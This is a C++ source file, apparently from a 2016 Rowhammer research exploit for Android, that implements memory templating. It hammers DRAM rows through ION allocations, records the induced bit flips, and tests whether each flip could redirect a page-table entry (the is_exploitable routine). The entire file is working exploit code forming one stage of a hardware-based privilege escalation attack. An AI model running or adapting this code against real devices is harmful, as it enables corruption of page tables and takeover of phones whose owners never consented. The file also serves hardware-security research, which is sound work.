templating.cc 16.4 KB
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435
/*
 * Copyright 2016, Victor van der Veen
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */


#include <assert.h>
#include <stdlib.h>

#include "ion.h"
#include "rowsize.h"
#include "templating.h"

extern int rowsize;

#define PAGES_PER_ROW (rowsize / PAGESIZE)

#define FLIP_DIRECTION_STR(x) (((x) == ONE_TO_ZERO) ? "1-to-0" : "0-to-1")

//#define DEBUG

#ifdef DEBUG
#define dprintf(...) printf(__VA_ARGS__)
#else
#define dprintf(...) do {} while (0)
#endif


int spc_flips = 0;

bool is_exploitable(struct template_t *tmpl) {
    int rows_per_chunk = tmpl->ion_len / rowsize;

    dprintf("- bits flipped       : %6d\n", tmpl->bits_set);
    if (tmpl->bits_set != 1) {
        dprintf("[ :( ] We support only single flips\n");
        return false;
    }

    dprintf("- index in page table: %6d\n", tmpl->word_index_in_pt);
    if (tmpl->word_index_in_pt < 0) {
        dprintf("[ :( ] Flip will never fall in hardware page table\n");
        return false;
    } 

    dprintf("- index in word      : %6d\n", tmpl->bit_index_in_word);
    if (tmpl->bit_index_in_word < 12) {
        dprintf("[ :( ] Flip is in properties of PTE\n");
        return false;
    }

    
    dprintf("- flip direction     : %s\n", FLIP_DIRECTION_STR(tmpl->direction));
   
    dprintf("- relative target pfn: %6d (row: %6d, idx: %2d, 16k: %6d)\n", tmpl->target_pfn, tmpl->target_pfn_row, tmpl->target_page_index_in_row, tmpl->target_16k_pfn);
    dprintf("- relative source pfn: %6d (row: %6d, idx: %2d, 16k: %6d)\n", tmpl->source_pfn, tmpl->source_pfn_row, tmpl->source_page_index_in_row, tmpl->source_16k_pfn);
    if (tmpl->source_pfn_row < 0 || tmpl->source_pfn_row >= rows_per_chunk) {
        dprintf("[ :( ] Flip offset requires illegal source pfn\n");
        return false;
    }

    if (tmpl->direction == ZERO_TO_ONE) {
        /* A 0-to-1 flip in the PTE acts as an addition. If the new PFN (the
         * page table) is in the same row as the old PFN (the mapped ION data chunk), 
         * it should be (1) ahead of the old one, and (2) fall in a different
         * 'minimum ION chunk boundary' (dictated by what ION allocations go
         * through slab, usually < 16K). */
        if (tmpl->source_pfn_row == tmpl->target_pfn_row) {
            if (tmpl->source_16k_pfn >= tmpl->target_16k_pfn) {
                dprintf("[ :( ] Target 16k pfn not after source 16k pfn\n");
                return false;
            } 
        } else if (tmpl->source_pfn_row > tmpl->target_pfn_row) {
            dprintf("[ :( ] Target row not after source row\n");
            return false;
        } 
    } else {
        /* A 1-to-0 flip in the PTE acts as an addition, so it's all backwards
         * now */
        if (tmpl->source_pfn_row == tmpl->target_pfn_row) {
            if (tmpl->source_16k_pfn <= tmpl->target_16k_pfn) {
                dprintf("[ :( ] Target 16k pfn not before source 16k pfn\n");
                return false;
            }
        } else if (tmpl->source_pfn_row < tmpl->target_pfn_row) {
            dprintf("[ :( ] Target row not before source row\n");
            return false;
        } 
    }

    dprintf("[ :) ] FLIP MIGHT BE EXPLOITABLE!\n");
    return true;
}

bool template_exists(std::vector<struct template_t *> &templates, 
                     uintptr_t virt, uint32_t org_byte, uint32_t new_byte) {
    for (auto tmpl : templates) {
        if (tmpl->virt_addr == virt && 
            tmpl->org_byte == org_byte &&
            tmpl->new_byte == new_byte) return true;
    }
    return false;
}   
           

void handle_flip(uint8_t *virt_row, 
                 uintptr_t *virt_above, 
                 uintptr_t *virt_below, 
                 uint8_t *pattern, 
        std::vector<struct template_t *> &templates, int index_in_row, struct ion_data *chunk) {

    struct template_t *tmpl = (struct template_t *) malloc(sizeof(struct template_t)); 

    tmpl->virt_row   = (uintptr_t) virt_row;
    tmpl->virt_addr  = (uintptr_t) virt_row + index_in_row;
    tmpl->phys_addr  = (uintptr_t) get_phys_addr(tmpl->virt_addr);
    tmpl->virt_page  = (uintptr_t) (tmpl->virt_addr / PAGESIZE) * PAGESIZE;
    tmpl->virt_above = (uintptr_t) virt_above;
    tmpl->virt_below = (uintptr_t) virt_below;
    
    tmpl->org_byte   = (uint8_t)  pattern[index_in_row];
    tmpl->new_byte   = (uint8_t) virt_row[index_in_row];
    tmpl->org_word   = (uint32_t) ((uint32_t *) pattern)[index_in_row / 4];
    tmpl->new_word   = (uint32_t) ((uint32_t *)virt_row)[index_in_row / 4];
    tmpl->xorred_byte = tmpl->org_byte ^ tmpl->new_byte;
    tmpl->xorred_word = tmpl->org_word ^ tmpl->new_word;
    tmpl->bits_set    = __builtin_popcount(tmpl->xorred_word);

    tmpl->byte_index_in_row  = index_in_row;
    tmpl->byte_index_in_page = index_in_row % PAGESIZE;
    tmpl->word_index_in_page = tmpl->byte_index_in_page / 4;
    tmpl->word_index_in_pt   = tmpl->word_index_in_page - 512;
    tmpl->bit_index_in_word  = ffs(tmpl->xorred_word) - 1;

    tmpl->org_bit   = (tmpl->org_word & tmpl->xorred_word) >> tmpl->bit_index_in_word;
    tmpl->direction = tmpl->org_bit ? ONE_TO_ZERO : ZERO_TO_ONE;

    tmpl->ion_chunk = chunk;
    tmpl->ion_len   = chunk->len;

    tmpl->rel_address   = (uintptr_t) tmpl->virt_addr - (uintptr_t) tmpl->ion_chunk->mapping;
    tmpl->rel_row_index = tmpl->rel_address / rowsize;
    tmpl->rel_pfn       = tmpl->rel_address / PAGESIZE;

    tmpl->target_pfn     = tmpl->rel_pfn;
    tmpl->source_pfn     = tmpl->target_pfn ^ (1 << (tmpl->bit_index_in_word - 12));
    tmpl->target_pfn_row = tmpl->target_pfn / PAGES_PER_ROW;
    tmpl->source_pfn_row = tmpl->source_pfn / PAGES_PER_ROW;
    tmpl->target_pte     = tmpl->target_pfn << 12;
    tmpl->source_pte     = tmpl->source_pfn << 12;
    tmpl->target_page_index_in_row = tmpl->target_pfn - (tmpl->target_pfn_row * PAGES_PER_ROW);
    tmpl->source_page_index_in_row = tmpl->source_pfn - (tmpl->source_pfn_row * PAGES_PER_ROW);

    tmpl->target_16k_pfn = tmpl->target_pfn / 4;
    tmpl->source_16k_pfn = tmpl->source_pfn / 4;
    tmpl->found_at = time(NULL);
    
    
    print("[FLIP] i:%p l:%d v:%p p:%p b:%5d 0x%08x != 0x%08x s:%d", 
                     tmpl->ion_chunk->mapping, 
                     tmpl->ion_len,
            (void *) tmpl->virt_addr, 
            (void *) tmpl->phys_addr, 
                     tmpl->byte_index_in_row,
                     tmpl->org_word, 
                     tmpl->new_word,
                     tmpl->found_at);
    printf("\n");
   
    tmpl->maybe_exploitable = is_exploitable(tmpl);
    if (global_of) {
        if (tmpl->maybe_exploitable) fprintf(global_of, "!\n");
        else fprintf(global_of,"\n");
    }
    
    templates.push_back(tmpl);
    

}
    
int get_exploitable_flip_count(std::vector<struct template_t *> &templates) {
    int count = 0;
    for (auto tmpl : templates) {
        if (tmpl->maybe_exploitable) count++;
    }
    return count;
}
int get_direction_flip_count(std::vector<struct template_t *> &templates, int direction) {
    int count = 0;
    for (auto tmpl : templates) {
        if (tmpl->direction == direction) count++;
    }
    return count;
}
struct template_t * get_first_exploitable_flip(std::vector<struct template_t *> &templates) {
    for (auto tmpl : templates) {
        if (tmpl->maybe_exploitable) return tmpl;
    }
    return NULL;
}

int find_flips_in_row(std::vector<struct template_t *> &templates, uintptr_t phys1) {
    int flips = 0;
    for (auto tmpl : templates) {
        if (tmpl->phys_addr >= phys1 && tmpl->phys_addr < (phys1 + rowsize)) flips++;
    }
    return flips;
}

int do_hammer(uint8_t *virt_row,
     volatile uintptr_t *virt_above,
     volatile uintptr_t *virt_below,
              uint8_t *pattern_above, 
              uint8_t *pattern, 
              uint8_t *pattern_below,
              std::vector<struct template_t *> &templates, struct ion_data *chunk,
              int hammer_readcount) {

    int new_flips = 0;

    /* write pattern to victim row */
    memcpy(virt_row, pattern, rowsize);
  
    /* hammer */
    uint64_t t1 = get_ns();
    for (int i = 0; i < hammer_readcount; i++) {
        *virt_above;
        *virt_below;
    }
    uint64_t t2 = get_ns();
    int ns_per_read = (t2 - t1) / (hammer_readcount * 2);
            
    uint8_t *row_above = (uint8_t *) ((uintptr_t) virt_row - rowsize);
    uint8_t *row_below = (uint8_t *) ((uintptr_t) virt_row + rowsize);

    /* compare bytes of the victim row again the original pattern */
    for (int i = 0; i < rowsize; i++) {
        if (virt_row[i] != pattern[i] ) {
            if (template_exists(templates, (uintptr_t) virt_row + i, pattern[i], virt_row[i])) continue;

            new_flips++;
            if (new_flips == 1) printf("\n");

            handle_flip(virt_row, 
                        (uintptr_t *) virt_above, 
                        (uintptr_t *) virt_below, 
                        pattern, templates, i, chunk);
        }

        if (row_above[i] != pattern_above[i] ) {
            spc_flips++;
            new_flips++;
            if (new_flips == 1) printf("\n");
            print("[SPECIAL FLIP] v:%p 0x%08x != 0x%08x\n", (uintptr_t) virt_above + i, virt_above[i], pattern_above[i]);
        }
        if (row_below[i] != pattern_below[i]) {
            spc_flips++;
            new_flips++;
            if (new_flips == 1) printf("\n");
            print("[SPECIAL FLIP] v:%p 0x%08x != 0x%08x\n", (uintptr_t) virt_below + i, virt_below[i], pattern_below[i]);
        }
    }
    if (new_flips > 0)  
        printf("[TMPL - deltas] virtual row %d: ", (uintptr_t) virt_row / rowsize);

    return ns_per_read;
}

bool times_up;
void alarm_handler(int signal) {
    printf("\n[TIME] is up, wrapping up\n");
    times_up = true;
}

/* Perform 'conservative' rowhammer: we hammer each page in a row. The figure
 * below - row size of 32K = 8 pages - illustrates a victim row (pages P1 .. P8) 
 * and its two aggressor rows (above, pages A1 .. A8, and below, pages B1 ..
 * B8). We write patterns to the entire rows (using <*_row>) and then
 * hammer pages by reading from <virt_above> and <virt_below>. 
 * 
 * /-- <above_row>
 * |              /-- <virt_above>
 * |    ----------+------------------------------
 * \--->| A1 | A2 | A3 | A4 | A5 | A6 | A7 | A8 |
 *      -----------------------------------------
 * /--->| P1 | P2 | P3 | P4 | P5 | P6 | P7 | P8 |<-- victim row
 * |    -----------------------------------------
 * | /->| B1 | B2 | B3 | B4 | B5 | B6 | B7 | B8 |
 * | |  ----------+------------------------------
 * | |            \-- <virt_below>
 * | \-- <below_row>       
 * \-- <virt_row>
 */
void TMPL_run(std::vector<struct ion_data *> &chunks, 
              std::vector<struct template_t *> &templates, 
              std::vector<struct pattern_t *> &patterns, int timer, int hammer_readcount,
              bool do_conservative) {
    
    int bytes_hammered = 0;
    std::vector<uint64_t> readtimes;

    if (timer) {
        printf("[TMPL] Setting alarm in %d seconds\n",  timer);
        signal(SIGALRM, alarm_handler);
        alarm(timer);
    }
    times_up = false;

    int bytes_allocated = 0;
    for (auto chunk : chunks) {
        bytes_allocated += chunk->len;
    }
    
    time_t start_time = time(NULL);
    print("[TMPL] - Bytes allocated: %d (%d MB)\n", bytes_allocated, bytes_allocated / 1024 / 1024);
    print("[TMPL] - Time: %d\n", start_time);
    print("[TMPL] - Start templating\n");
    for (auto chunk : chunks) {
        ION_get_hammerable_rows(chunk);
   
        for (auto virt_row : chunk->hammerable_rows) {
            uintptr_t phys_row = get_phys_addr(virt_row);
            int virt_row_index = virt_row / rowsize;
            int phys_row_index = phys_row / rowsize;

            int median_readtime = compute_median(readtimes);
            int seconds_passed = time(NULL) - start_time;
            int flips = templates.size();
            int exploitable_flips = get_exploitable_flip_count(templates);
            double kb_per_flip, percentage_exploitable;
            int to0, to1;
            if (flips > 0) {
                kb_per_flip = (bytes_hammered / 1024) / (double)  flips;
                percentage_exploitable = (double) exploitable_flips / (double) flips * 100.0;
                to0 = get_direction_flip_count(templates, ONE_TO_ZERO);
                to1 = get_direction_flip_count(templates, ZERO_TO_ONE);
            } else {
                kb_per_flip = 0.0;
                percentage_exploitable = 0.0;
                to0 = 0;
                to1 = 0;
            }

            print("[TMPL - status] flips: %d | expl: %d | hammered: %d | runtime: %d | median: %d | kb_per_flip: %5.2f | perc_expl: %5.2f | special: %d | 0-to-1: %d | 1-to-0: %d\n", 
                    flips, exploitable_flips, bytes_hammered, seconds_passed, median_readtime, kb_per_flip, percentage_exploitable, spc_flips, to1, to0);
            print("[TMPL - hammer] virtual row %d: %p | physical row %d: %p\n", 
                    virt_row_index, virt_row, phys_row_index, phys_row);
            printf("[TMPL - deltas] virtual row %d: ", (uintptr_t) virt_row_index);

        
            uintptr_t above_row = virt_row - rowsize;
            uintptr_t below_row = virt_row + rowsize;

            int step = PAGESIZE;
            if (do_conservative) 
                step = 64;

            for (int offset = 0; offset < rowsize; offset += step) {
                uintptr_t virt_above = above_row + offset;
                uintptr_t virt_below = below_row + offset;

                printf("|");
                for (auto pattern: patterns) {

                    /* write patterns to the adjacent rows and hammer */
                    memcpy((void *) above_row, pattern->above, rowsize);
                    memcpy((void *) below_row, pattern->below, rowsize);
                    int delta = do_hammer(         (uint8_t   *) virt_row, 
                                          (volatile uintptr_t *) virt_above,
                                          (volatile uintptr_t *) virt_below, 
                                          pattern->above, pattern->victim, pattern->below, templates, chunk, hammer_readcount);
                    readtimes.push_back(delta);
                    printf("%d|", delta);

                    pattern->cur_use++;
                    if (pattern->max_use && pattern->cur_use >= pattern->max_use) {
                        if (pattern->reset_above)  pattern->reset_above (pattern->above);
                        if (pattern->reset_victim) pattern->reset_victim(pattern->victim);
                        if (pattern->reset_below)  pattern->reset_below (pattern->below);
                        pattern->cur_use = 0;
                    }
                }
                printf(" ");
       
                bytes_hammered += step;

                if (times_up) break;
            }
            printf("\n");
                
            if (times_up) break;
        }

        if (times_up) break;

        /* clean */
        ION_clean(chunk);
    }

    int median_readtime = compute_median(readtimes);

    printf("\n[TMPL] Done templating\n");
    int flips = templates.size();
    print("[TMPL] - bytes hammered: %d (%d MB)\n", bytes_hammered, bytes_hammered / 1024 / 1024);
    print("[TMPL] - median readtime: %d\n", median_readtime);
    print("[TMPL] - unique flips: %d (1-to-0: %d / 0-to-1: %d)\n", flips,
            get_direction_flip_count(templates, ONE_TO_ZERO),
            get_direction_flip_count(templates, ZERO_TO_ONE));

    if (flips > 0) {
        double kb_per_flip = (bytes_hammered / 1024) / (double)  flips;
        printf("[TMPL] - kb per flip: %5.2f\n", kb_per_flip);
    }
    int exploitable_flips = get_exploitable_flip_count(templates);
    print("[TMPL] - exploitable flips: %d\n", exploitable_flips);
    if (exploitable_flips > 0) {
        print("[TMPL] - first exploitable flip found after: %d seconds\n", get_first_exploitable_flip(templates)->found_at - start_time);

        double percentage_exploitable = (double) exploitable_flips / (double) flips * 100.0;
        printf("[TMPL] - percentage of flips that are exploitable: %5.2f\n", percentage_exploitable);
    }
    print("[TMPL] - time spent: %d seconds\n", time(NULL) - start_time);
}